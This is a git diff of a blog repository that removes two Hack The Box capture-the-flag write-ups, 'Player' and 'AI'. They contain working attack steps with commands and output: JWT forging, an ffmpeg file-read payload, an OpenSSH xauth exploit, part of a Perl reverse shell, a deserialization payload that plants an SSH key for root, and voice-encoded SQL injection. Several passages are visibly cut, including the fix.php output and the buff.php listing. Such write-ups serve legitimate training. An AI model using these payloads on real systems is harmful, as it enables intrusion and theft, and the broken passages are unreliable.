PHP script inside of web directory path, give us RCE and a shell. -- By watching processes with pspy, we identify there's a PHP script that runs regurlarly as root. -- The PHP script contains a deserialization vulnerability which we exploit to write SSH keys into the root directory and then log in with SSH. - -## Fails - -- When I decoded the JWT token found on the launcher page, I saw that the access_code was a SHA1 hash. When I looked up the hash online, I saw it was `welcome` and thought it was used to log into the server. It was useless after all... Womp womp. -- I was able to log into the MySQL server without any credentials by port-forwarding once I had creds for the lshell. Then saw I could update the stats table and thought about inserting PHP code into the page. But as it turns out, the string is inserted as part of the PHP code which is already running and querying the database so I ended with a nice `` that wasn't interpreted. - -## Portscan - -Running my portscan I see that a 2nd SSH service is running on port 6686 with a different version. - -``` -root@ragingunicorn:~/htb/player# nmap -sC -sV -p- 10.10.10.145 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-06 19:03 EDT -Nmap scan report for player.htb (10.10.10.145) -Host is up (0.019s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA) -| 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA) -| 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA) -|_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519) -80/tcp open http Apache httpd 2.4.7 -|_http-server-header: Apache/2.4.7 (Ubuntu) -|_http-title: 403 Forbidden -6686/tcp open ssh OpenSSH 7.2 (protocol 2.0) -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -## Enumerating the website on port 80 - -I add `player.htb` to my local hostfile and start enumerating the web site on port 80. The main page doesn't seem to have any files that match the default directory index and indexing is disabled so I get a 403 Forbidden error. - -![](/assets/images/htb-writeup-player/mainpage_403.png) - -I will have to run gobuster to find something. As always, I will start with one of my go-to list: `big.txt` and add the `php` file extension. - -``` -root@ragingunicorn:~/htb/player# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 25 -x php -u http://player.htb - -/launcher (Status: 301) -/server-status (Status: 403) -``` - -Next, I look at the `/launcher` directory with the same wordlist: - -``` -root@ragingunicorn:~/htb/player# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 25 -x php -u http://player.htb/launcher - -/css (Status: 301) -/fonts (Status: 301) -/images (Status: 301) -/js (Status: 301) -/vendor (Status: 301) -``` - -Not much interesting seen with gobuster. I'll check the link next with Firefox and see it's a page about an upcoming product. There's a countdown at the top and a link to register for product launch announcements. - -![](/assets/images/htb-writeup-player/launcher.png) - -Nothing seems to happen when I put an email address in the form. When I check the HTML source I see that the form goes to `dee8dc8a47256c64630d803a4c40786c.php`. That file just redirects to `/launcher` when we do a GET on it. - -![](/assets/images/htb-writeup-player/email_form.png) - -I could check the HTML source code for all the links on the page but instead I'll use Burp instead to spider the site. - -![](/assets/images/htb-writeup-player/launcher_links.png) - -A couple of files stand out, those two filenames that look like an MD5 checksum and the javascript files for the site. - -![](/assets/images/htb-writeup-player/launcher_check.png) - -The `simplebuff.js` file does an AJAX call to `dee8dc8a47256c64630d803a4c40786e.php` every 10 seconds to check if the game has been released. The only response I see is `Not released yet`. - -The `/launcher/dee8dc8a47256c64630d803a4c40786c.php` link does a GET and returns a cookie with a JWT token: - -`Set-Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzU; expires=Tue, 06-Aug-2019` - -I'll use [https://jwt.io/](https://jwt.io/) to decode the JWT token contents: - -![](/assets/images/htb-writeup-player/jwt_token.png) - -The access code `C0B137FE2D792459F26FF763CCE44574A5B5AB03` is the SHA-1 hash for `welcome`. - -![](/assets/images/htb-writeup-player/crackstation.png) - -The access code doesn't give me access to the actual PlayBuff page. There's probably another code that I need to find or maybe I need to brute force the shared secret and forge my own token. At this point I'm not sure what I would forge in the token even if I had the secret key but I'll start with the low hanging fruit and try [https://github.com/AresS31/jwtcat](https://github.com/AresS31/jwtcat) just to see if the key can be recovered easily: - -![](/assets/images/htb-writeup-player/jwtcat.png) - -No luck in cracking the JWT token. - -## Finding additional vhosts - -Some boxes have multiple vhosts hosting different websites such as development pages, admin panels, etc. I'll check out the vhosts by using wfuzz: - -``` -root@ragingunicorn:~/htb/player# wfuzz --sc 200 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -H "Host: FUZZ.player.htb" 10.10.10.145 - -================================================================== -ID Response Lines Word Chars Payload -================================================================== - -000231: C=200 86 L 229 W 5243 Ch "dev" -000251: C=200 259 L 714 W 9513 Ch "chat" -000796: C=200 63 L 180 W 1470 Ch "staging" -``` - -I found 3 vhosts: - -- `dev.player.htb` -- `chat.player.htb` -- `staging.player.htb` - -## chat.player.htb - -There's a simulated chat application that shows a conversion between the PM and a developper. - -![](/assets/images/htb-writeup-player/chat.png) - -There are two hints here: - -1. The staging area exposes senstive files -2. The main page can show the source code of the application - -I ran gobuster and only found the pictures used for the chat application and some javascript files. - -## dev.player.htb - -The `dev.player.htb` page show a login page: - -![](/assets/images/htb-writeup-player/codiad_login.png) - -I tried `admin / admin` and a few other obvious passwords but I couldn't log in. From the HTML source code I can't make up what this application is. - -I ran gobuster and picked up a few directories. -``` -root@ragingunicorn:~/htb/player# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 25 -x php -u http://dev.player.htb -/common.php (Status: 200) -/components (Status: 301) -/config.php (Status: 200) -/data (Status: 301) -/favicon.ico (Status: 200) -/index.php (Status: 200) -/js (Status: 301) -/languages (Status: 301) -/lib (Status: 301) -/plugins (Status: 301) -/server-status (Status: 403) -/themes (Status: 301) -/workspace (Status: 301) -``` - -I'm still not sure what it is based on the files found. I'll expand my search to other extensions and see if I can pick up a readme file or something that tells me what this application is: - -``` -root@ragingunicorn:~/htb/player# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 25 -x php,txt,conf,cfg -u http://dev.player.htb -s 200 - -/LICENSE.txt (Status: 200) -``` - -That license file tells me that this webapp is Codiad, a web-based IDE. - -![](/assets/images/htb-writeup-player/codiad_license.png) - -A quick search on google and exploit-DB shows there a few exploits like RCE and LFI but they require authentication. I'll continue on and check the last of the vhosts. - -## staging.player.htb - -The staging site seems to be in rough shape. - -![](/assets/images/htb-writeup-player/staging_home.png) - -The updates section display a static image simulating a metrics dashboard. - -![](/assets/images/htb-writeup-player/staging_updates.png) - -There's a contact form to send messages to the Core team. - -![](/assets/images/htb-writeup-player/staging_contact.png) - -This could be an exploit vector for an XSS but the page errors out when I enter any data. - -![](/assets/images/htb-writeup-player/staging_501.png) - -When I check Burp, I see that the GET request returned some PHP output but the page redirect me to the `501.php` page right after. - -![](/assets/images/htb-writeup-player/staging_files.png) - -This is probably what the hint was referring to. The page shows two files that could be important: `/var/www/backup/service_config` and `/var/www/staging/fix.php`. I can't read those right now but I'll investigate the other hint: source code disclosure on the main page. - -## Leaking the shared secret for the JWT token - -I tried many extensions for those two md5sum looking filenames until I found a temporary/swap file for `dee8dc8a47256c64630d803a4c40786c.php~` - -![](/assets/images/htb-writeup-player/jwt_token_found.png) - -I now have the secret: `_S0_R@nd0m_P@ss_` - -It's pretty clear from that partial source code that the site expects `0E76658526655756207688271159624026011393` as a valid access code. To forge a proper JWT token with that access code, I'll just use [https://jwt.io/](https://jwt.io/) again and enter the secret to compute the correct signature. When I initially just used the secret from the leaked source code it didn't work so I followed the PHP code, converted the secret to Base64 with `base64_decode(strtr($key, '-_', '+/'))`: - -![](/assets/images/htb-writeup-player/jwt_token_forged.png) - -When I do a `GET /launcher/dee8dc8a47256c64630d803a4c40786c.php` with that access cookie I now get the secret Location URI: - -![](/assets/images/htb-writeup-player/jwt_token_location.png) - -Now I can access the application before it's launch date at `http://player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/` - -![](/assets/images/htb-writeup-player/playbuff.png) - -## Exploiting ffmpeg - -The web application is basically just a glorified media converter. You upload a media file and it gets converted to an `AVI` video container format. - -![](/assets/images/htb-writeup-player/playbuff_convert.png) - -I tried uploading PHP files and other non-media file types and I always got a 404 when I tried to follow the download link after: - -![](/assets/images/htb-writeup-player/playbuff_404.png) - -I couldn't figure out any way to upload PHP code or figure out if my uploads were being saved to some temporary file that I could find the filename for. I did some research and found a vulnerability in ffmpeg which allows for an LFI inside video files. - -I used the following payload: [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS) - -First I'll try to read `/etc/passwd` with `python3 gen_avi_bypass.py /etc/passwd ~/htb/player/payload.avi` - -I then upload the video and view the resulting converted video: - -![](/assets/images/htb-writeup-player/passwd.png) - -Nice, the exploit works. Next, I'll have a look at those files I previously found in the staging site. - -`python3 gen_avi_bypass.py /var/www/backup/service_config ~/htb/player/payload.avi` - -![](/assets/images/htb-writeup-player/service_config.png) - -Cool, I found some credentials: `telegen / d-bC|jC!2uepS/w`. I'll check the `fix.php` file next: - -`python3 gen_avi_bypass.py /var/www/staging/fix.php ~/htb/player/payload.avi` - -I can't read that one. The resulting video file was empty so I probably don't have access to it. - -## Restricted shell - -With the user `telegen` I'm able to SSH to the 2nd service running on port 6686 but I'm in restricted shell and can't run any commands: - -``` -root@ragingunicorn:~/htb/player# ssh -p6686 telegen@10.10.10.145 -telegen@10.10.10.145's password: -Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104 -Environment: - USER=telegen - LOGNAME=telegen - HOME=/home/telegen - PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin - MAIL=/var/mail/telegen - SHELL=/usr/bin/lshell - SSH_CLIENT=10.10.14.11 55802 6686 - SSH_CONNECTION=10.10.14.11 55802 10.10.10.145 6686 - SSH_TTY=/dev/pts/0 - TERM=xterm-256color -========= PlayBuff ========== -Welcome to Staging Environment - -telegen:~$ ls -*** forbidden command: ls -telegen:~$ help - clear exit help history lpath lsudo -telegen:~$ lpath -Allowed: - /home/telegen -telegen:~$ lsudo -Allowed sudo commands: -``` - -The `SHELL` environment variable points `lshell`. I don't know that one so I'll google it and discover that it's web based python shell. - -From the [website](https://github.com/ghantoos/lshell) description: - -> lshell is a shell coded in Python, that lets you restrict a user's environment to limited sets of commands, choose to enable/disable any command over SSH (e.g. SCP, SFTP, rsync, etc.), log user's commands, implement timing restriction, and more. - -The configuration file is located here `/etc/lshell.conf`. Maybe there are some allowed commands that I need to find so I'll exfil the config file using the same ffmpeg trick. - -![](/assets/images/htb-writeup-player/lshell_conf.png) - -I don't see any allowed commands, nothing obvious stands out in the configuration. I can probably still port forward connections even if my shell is limited. I'll do a dynamic port forwarding with `ssh -D 127.0.0.1:1080 -p 6686 telegen@10.10.10.145` so I can use a SOCKS proxy and port scan the box through proxychains. - -I run a fast scan with nmap and find MySQL listening on localhost: - -``` -# proxychains nmap -sT 127.0.0.1 -F -ProxyChains-3.1 (http://proxychains.sf.net) -Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-08 23:16 EDT -Nmap scan report for localhost (127.0.0.1) -Host is up (0.018s latency). -Not shown: 97 closed ports -PORT STATE SERVICE -22/tcp open ssh -80/tcp open http -3306/tcp open mysql -``` - -## Fail at MySQL - -Funny enough, I can connect to the MySQL server without any authentication: - -``` -root@ragingunicorn:~/htb/player# proxychains mysql -h 127.0.0.1 -u root -ProxyChains-3.1 (http://proxychains.sf.net) -Welcome to the MariaDB monitor. Commands end with ; or \g. -Your MySQL connection id is 298 -Server version: 5.5.62-0ubuntu0.14.04.1 (Ubuntu) - -Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. - -Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. - -MySQL [(none)]> show databases; -+--------------------+ -| Database | -+--------------------+ -| information_schema | -| integrity | -| mysql | -| performance_schema | -+--------------------+ -4 rows in set (0.02 sec) -``` - -The `integrity` database contains a mapping of the token to filenames. - -``` -Database changed -MySQL [integrity]> show tables; -+---------------------+ -| Tables_in_integrity | -+---------------------+ -| media | -| stats | -+---------------------+ -2 rows in set (0.02 sec) - -MySQL [integrity]> select * from stats; -+------+----------------+ -| id | status | -+------+----------------+ -| 1 | no issues yet - | -+------+----------------+ -1 row in set (0.02 sec) - -MySQL [integrity]> select * from media; -+-----+----------------+------------+ -| sno | video | token | -+-----+----------------+------------+ -| 18 | 78683241.avi | 673109167 | -| 19 | 1619102457.avi | 2112073545 | -| 20 | 490922722.avi | 72247503 | -| 21 | 1530970781.avi | 1923945228 | -| 22 | 2129471110.avi | 672162071 | -+-----+----------------+------------+ -5 rows in set (0.02 sec) -``` - -The `no issues yet` message is displayed at the bottom of the staging site `update.php` page. I can change it and try to inject PHP code on the page: - -``` -MySQL [integrity]> delete from stats where id=1; -Query OK, 1 row affected (0.02 sec) - -MySQL [integrity]> insert into stats (id, status) values (1, ""); -Query OK, 1 row affected (0.03 sec) -``` - -When I check the update page I don't see anything on the product status and my PHP code hasn't been executed. Looking at the HTML source code, I see that the PHP tag has been inserted into the code but no PHP code is executed. - -![](/assets/images/htb-writeup-player/staging_phptry.png) - -I can't read arbitrary files with `LOAD_FILE` or write with `INTO OUTFILE`. `secure_file_priv` is configured so I can only read/write within the directory below: - -``` -MySQL [integrity]> SHOW VARIABLES LIKE "secure_file_priv"; -+------------------+-----------------------+ -| Variable_name | Value | -+------------------+-----------------------+ -| secure_file_priv | /var/lib/mysql-files/ | -+------------------+-----------------------+ -1 row in set (0.02 sec) -``` - -``` -MySQL [integrity]> select load_file("/etc/passwd"); -+--------------------------+ -| load_file("/etc/passwd") | -+--------------------------+ -| NULL | -+--------------------------+ -1 row in set (0.02 sec) - -MySQL [integrity]> select * from stats into outfile "/tmp/test"; -ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement -MySQL [integrity]> select * from stats into outfile "/var/lib/mysql-files/test"; -Query OK, 2 rows affected (0.02 sec) - -MySQL [integrity]> select load_file("/var/lib/mysql-files/test"); -+------------------------------------------+ -| load_file("/var/lib/mysql-files/test") | -+------------------------------------------+ -| \N -1 no issues yet\ - - | -+------------------------------------------+ -1 row in set (0.02 sec) -``` - -This seems like a dead end so I will move on. - -## OpenSSH xauth vulnerability - -There are a few CVE's for version 7.2 of OpenSSH running on port 6686, one that could be interesting is the CVE-2016-3115: OpenSSH 7.2p1 - (Authenticated) xauth Command Injection. This should allow me to inject xauth commands by sending forged x11 channel requests. But `X11Forwarding yes` needs to be enabled for it to work. I'll fetch the sshd config file with the ffmpeg exploit and hope it's the one used by the sshd daemon running on port 6686. - -![](/assets/images/htb-writeup-player/sshd_config.png) - -X11Forwarding is enabled and it's not a default configuration so this is probably a hint that I'm on the right track. - -To run the exploit I just pass the IP/port and the credentials, then once it's connected I can write and read files. To verify that's it's working correctly, I read `/etc/hostname` and see that it returns `player` as expected. - -``` -root@ragingunicorn:~/htb/player# python xauth.py 10.10.10.145 6686 telegen 'd-bC|jC!2uepS/w' -INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/w@10.10.10.145:6686 -INFO:__main__:connected! -INFO:__main__: -Available commands: - .info - .readfile - .writefile - .exit .quit - - -#> .readfile /etc/hostname -DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/hostname\n' -DEBUG:__main__:dummy exec returned: None -INFO:__main__:player -#> -``` - -I'll grab the flag next since I know the user directory is `/home/telegen`: - -``` -#> .readfile /home/telegen/user.txt -DEBUG:__main__:auth_cookie: 'xxxx\nsource /home/telegen/user.txt\n' -DEBUG:__main__:dummy exec returned: None -INFO:__main__:30e47ab.... -``` - -On the staging site there was that `fix.php` file that was erroring out but I couldn't read it from the ffmpeg exploit. I have access to read this file now with `telegen` and I can a potential set of credentials: `peter / CQXpm\z)G5D#%S$y=` - -``` -#> .readfile /var/www/staging/fix.php -DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n' -DEBUG:__main__:dummy exec returned: None -INFO:__main__:&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''); ?> -``` - -Finally, I get a shell as `www-data`. - -![](/assets/images/htb-writeup-player/shell.png) - -## Privesc - -Now it's time to get root. I see some weird script running but I can't read `dothis.sh` so I don't know what it does. - -``` -root 990 0.0 0.0 4456 680 ? Ss 01:23 0:00 /bin/sh -c /etc/init.d/dothis.sh -root 991 0.0 0.4 13896 4392 ? S 01:23 0:03 /bin/bash /etc/init.d/dothis.sh - -www-data@player:/$ more /etc/init.d/dothis.sh -/etc/init.d/dothis.sh: Permission denied -``` - -I ran LinEnum next but didn't find anything interesting. Next up: checking for cronjobs starting processes. I'll use [pspy](https://github.com/DominicBreuker/pspy) to watch running processes and new ones created. I quickly identify a process running as root: `/usr/bin/php /var/lib/playbuff/buff.php` - -![](/assets/images/htb-writeup-player/pspy.png) - -The content of the file is shown here: - -```php -logFile,$this->logData); - } -} -$buff = new playBuff(); -$serialbuff = serialize($buff); -$data = file_get_contents("/var/lib/playbuff/merge.log"); -if(unserialize($data)) -{ - $update = file_get_contents("/var/lib/playbuff/logs.txt"); - $query = mysqli_query($conn, "update stats set status='$update' where id=1"); - if($query) - { - echo 'Update Success with serialized logs!'; - } -} -else -{ - file_put_contents("/var/lib/playbuff/merge.log","no issues yet"); - $update = file_get_contents("/var/lib/playbuff/logs.txt"); - $query = mysqli_query($conn, "update stats set status='$update' where id=1"); - if($query) - { - echo 'Update Success!'; - } -} -?> -``` - -There is a subtle deserialization vulnerability here. The contents of `merge.log` are deserialized then the MySQL stats table is updated. The `telegen` is the owner of the file so it should be possible to get control of the `logFile` and `logData` variables in the `PlayBuff` class and write arbitrary data to any file I want to as root. - -``` -www-data@player:/var/lib/playbuff$ ls -l -total 16 --rwx---r-- 1 root root 878 Mar 24 17:19 buff.php --rw-r--r-- 1 root root 15 Jul 9 07:34 error.log --r-------- 1 root root 14 Mar 24 16:54 logs.txt --rw------- 1 telegen telegen 13 Jul 9 07:34 merge.log -``` - -First I'll `su` to user `telegen` and specify that I want a Bash shell and not that lshell restricted shell: - -``` -www-data@player:/var/lib/playbuff$ su -s /bin/bash telegen -Password: -telegen@player:/var/lib/playbuff$ id -uid=1000(telegen) gid=1000(telegen) groups=1000(telegen),46(plugdev) -``` - -For the serialized payload, I will write my SSH public to root's `authorized_keys` then I should be able to log in as root: - - Object class: playBuff (it contains 2 properties) - - logFile: `../../../../../../root/.ssh/authorized_keys` - - logData: content of my SSH public key - -``` -O:8:"playBuff":2:{s:7:"logFile";s:43:"../../../../../../root/.ssh/authorized_keys";s:7:"logData";s:399:"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+SZ75RsfVTQxRRbezIJn+bQgNifXvjMWfhT1hJzl/GbTbykFtGPTwuiA5NAcPKPG25jkQln3J8Id2ngapRuW8i8OvM+QBuihsM9wLxu+my0JhS/aNHTvzJF0uN1XkvZj/BkbjUpsF9k6aMDaFoaxaKBa7ST2ZFpxlbu2ndmoB+HuvmeTaCmoY/PsxgDBWwd3GiRNts2HOiu74DEVt0hHbJ7kwhkR+l0+6VS74s+7SjP+N1q+oih83bjwM8ph+9odqAbh6TGDTbPX2I+3lTzCUeGS9goKZe05h/YtB2U2VbH1pxJZ1rfR1Sp+SBS+zblO9MUxvbzQoJTHpH2jeDg89 root@ragingunicorn";} -``` - -I wait a bit for the cronjob to run then I'm able to SSH in as root after my public key has been written into root's SSH directory: - -![](/assets/images/htb-writeup-player/root.png) diff --git a/_posts/2020-01-25-htb-writeup-ai.md b/_posts/2020-01-25-htb-writeup-ai.md deleted file mode 100644 index c83ade554a..0000000000 --- a/_posts/2020-01-25-htb-writeup-ai.md +++ /dev/null @@ -1,287 +0,0 @@ ---- -layout: single -title: AI - Hack The Box -excerpt: "Exploiting the simple SQL injection vulnerability on the AI box was harder than expected because of the text-to-speech conversion required. I had to use a few tricks to inject the single quote in the query and the other parameters needed for the injection." -date: 2020-01-25 -classes: wide -header: - teaser: /assets/images/htb-writeup-ai/ai_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - tts - - sqli - - jdwp ---- - -![](/assets/images/htb-writeup-ai/ai_logo.png) - -Exploiting the simple SQL injection vulnerability on the AI box was harder than expected because of the text-to-speech conversion required. I had to use a few tricks to inject the single quote in the query and the other parameters needed for the injection. - -## Summary - -- There is a web application with a speech based API interface that contains a SQL injection -- By using a text-to-speech tool we can create a wav file that contains a payload to exploit the SQL injection -- The user credentials are retrieved from the database and we can SSH in -- The Java Debug Wire Protocol (JDWP) is enabled on the running Tomcat server and its port is exposed locally -- We can execute arbitrary code as root using JDWP - -## Blog / Tools - -- [https://www.exploit-db.com/papers/27179](https://www.exploit-db.com/papers/27179) -- [https://www.exploit-db.com/exploits/46501](https://www.exploit-db.com/exploits/46501) - -## Nmap - -The attack surface is pretty small on this box: I only see SSH and HTTP listening. - -``` -root@kali:~/htb/ai# nmap -sC -sV -T4 10.10.10.163 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 09:53 EST -Nmap scan report for ai.htb (10.10.10.163) -Host is up (0.046s latency). -Not shown: 998 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA) -| 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA) -|_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519) -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: Hello AI! -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -## Web enumeration - -What we have here is some company that does voice recognition from audio files. There's a link to upload wav files so this is probably the function that we have to exploit in order to progress on this machine. - -![](/assets/images/htb-writeup-ai/web1.png) - -![](/assets/images/htb-writeup-ai/web2.png) - -![](/assets/images/htb-writeup-ai/web3.png) - -![](/assets/images/htb-writeup-ai/web4.png) - -I did my normal gobuster enumeration and found a couple of additional files that didn't show up on the main page. - -``` -root@kali:~/htb/ai# gobuster dir -q -t 50 -w /opt/SecLists/Discovery/Web-Content/big.txt -x php -u http://10.10.10.163 -/about.php (Status: 200) -/ai.php (Status: 200) -/contact.php (Status: 200) -/db.php (Status: 200) -/images (Status: 301) -/index.php (Status: 200) -/intelligence.php (Status: 200) -/server-status (Status: 403) -/uploads (Status: 301) -``` - -Interesting files: -- `db.php`: this is probably used to connect to some database backend so there may a SQLi I have to exploit here -- `intelligence.php`: this contains a list of voice input commands that are converted to special commands on the backend - -![](/assets/images/htb-writeup-ai/intelligence.png) - -## SQL injection on the voice API page - -The most annoying of this machine was finding a text to speech application that would produce reliable results. I tried a bunch of different online and offline tools but some of them produced files that did not decode properly on the target machine. I used [https://ttsmp3.com](https://ttsmp3.com) and with the help of some scripting I'm able to automate the creation and conversion of the voice file. - -```sh -#!/bin/bash - -TXT=$1 -URL=$(curl -s https://ttsmp3.com/makemp3.php -H 'Content-type: application/x-www-form-urlencoded' --data "msg=$TXT" -d 'lang=Joey' -d 'source=ttsmp3' | jq -r .URL) -curl -s -o speak.mp3 $URL -ffmpeg -v 0 -y -i speak.mp3 speak.wav -curl -s http://ai.htb/ai.php -F fileToUpload='@speak.wav;type=audio/x-wav' -F submit='Process It!' | grep "Our understanding" -``` - -I can see below that the script works but unfortunately `quote` doesn't get converted to its character equivalent so I can't inject that way. - -``` -./tts.sh hello -

    Our understanding of your input is : hello
    Query result :

    - -./tts.sh quote -

    Our understanding of your input is : quote
    Query result :

    -``` - -By using the word `it's`, the application generates a quote and I can see that we have a MySQL SQL injection here. - -``` -./tts.sh "its or one equals one Comment Database" -

    Our understanding of your input is : it's or 1 = 1 -- -
    Query result : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's or 1 = 1 -- -'' at line 1< -``` - -By using `open single quote` in the audio file, it will generate a single quote and I can use a simple 1=1 condition to return all entries from the database. In this case, the `print("hi")` row is shown. - -``` -root@kali:~/htb/ai# ./tts.sh "open single quote ore one equals one Comment Database" -

    Our understanding of your input is : 'or 1 = 1 -- -
    Query result : print("hi")

    -``` - -I guessed that the table I had to check out was users and I was able to retrieve the password with the following query: `' UNION SELECT password FROM users -- -` - -``` -./tts.sh "open single quote union select password from users Comment Database" -

    Our understanding of your input is : 'union select password from users -- -
    Query result : H,Sq9t6}a<)?q93_

    -``` - -Password: `H,Sq9t6}a<)?q93_` - -I don't have the username and I can't do a query like `' UNION SELECT username FROM users -- -` because the application will read it as `' UNION SELECT user name FROM users -- -` instead. However before the box was released it was called `Alexa` so I just guessed that the username was Alexa and I was able to SSH in. - -``` -root@kali:~/htb/ai# ssh alexa@10.10.10.163 -alexa@10.10.10.163's password: - -alexa@AI:~$ cat user.txt -c43b62... -``` - -## Trying to exploit the UID bug - -Alexa can run vi as any user except root. There is a well known trick I can use to spawn a shell from within vi with `:!/bin/bash` but since I can't sudo vi as root I can only get access to `mrr3boot`. - -``` -alexa@AI:~$ sudo -l -[sudo] password for alexa: -Matching Defaults entries for alexa on AI: - env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - -User alexa may run the following commands on AI: - (ALL, !root) /usr/bin/vi - -alexa@AI:~$ lslogins - UID USER PROC PWD-LOCK PWD-DENY LAST-LOGIN GECOS - 0 root 127 Nov04/09:42 root - 1 daemon 1 daemon - 2 bin 0 bin - 3 sys 0 sys - 4 sync 0 sync - 5 games 0 games - 6 man 0 man - 7 lp 0 lp - 8 mail 0 mail - 9 news 0 news - 10 uucp 0 uucp - 13 proxy 0 proxy - 33 www-data 10 www-data - 34 backup 0 backup - 38 list 0 Mailing List Manager - 39 irc 0 ircd - 41 gnats 0 Gnats Bug-Reporting System (admin) - 100 systemd-network 0 systemd Network Management,,, - 101 systemd-resolve 1 systemd Resolver,,, - 102 syslog 1 - 103 messagebus 1 - 104 _apt 0 - 105 lxd 0 - 106 uuidd 0 - 107 dnsmasq 0 dnsmasq,,, - 108 landscape 0 - 109 pollinate 0 - 110 sshd 0 - 111 mysql 1 MySQL Server,,, - 112 rtkit 0 RealtimeKit,,, - 113 pulse 0 PulseAudio daemon,,, - 114 avahi 2 Avahi mDNS daemon,,, - 115 geoclue 0 - 1000 alexa 5 15:32 alexa - 65534 nobody 0 nobody -4000000000 mrr3boot 0 -``` - -``` -alexa@AI:~$ sudo -u mrr3boot vi -:!/bin/bash -mrr3boot@AI:~$ id -uid=4000000000(mrr3boot) gid=1001(mrr3boot) groups=1001(mrr3boot) -``` - -That high UID is very strange and after doing some research I found a [systemd bug](https://blog.mirch.io/2018/12/09/cve-2018-19788-poc-polkit-improper-handling-of-user-with-uid-int_max-leading-to-authentication-bypass/) that should have let me run any systemctl commands. - -Unfortunately even though the pkttyagent seems to crash, I was not able to exploit the bug: - -``` -mrr3boot@AI:~$ systemctl restart ssh -** -ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) -Failed to restart ssh.service: Interactive authentication required. -See system logs and 'systemctl status ssh.service' for details. -``` - -This seems like a dead end so I'll move on to something else. - -## Privesc with Java Debug Wire Protocol - -Looking at the listening ports I found ports 8000, 8005, 8009 and 8080 listening on localhost. - -``` -(No info could be read for "-p": geteuid()=-294967296 but you should be root.) -Active Internet connections (servers and established) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - -tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - -tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - -tcp 0 492 10.10.10.163:22 10.10.14.51:38906 ESTABLISHED - -tcp6 0 0 127.0.0.1:8080 :::* LISTEN - -tcp6 0 0 :::80 :::* LISTEN - -tcp6 0 0 :::22 :::* LISTEN - -tcp6 0 0 127.0.0.1:8005 :::* LISTEN - -tcp6 0 0 127.0.0.1:8009 :::* LISTEN - -udp 0 0 0.0.0.0:49179 0.0.0.0:* - -udp 0 0 127.0.0.53:53 0.0.0.0:* - -udp 0 0 0.0.0.0:5353 0.0.0.0:* - -udp6 0 0 :::38547 :::* - -udp6 0 0 :::5353 :::* - -``` - -I did some port forwarding and saw that port 8080 is running the Tomcat manager but I was not able to log in using any of the default credentials. - -![](/assets/images/htb-writeup-ai/tomcat.png) - -Then I noticed that the Tomcat server has the JDWP option enabled: `jdwp=transport=dt_socket,address=localhost:8000,server=y` - -``` -/usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager --Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 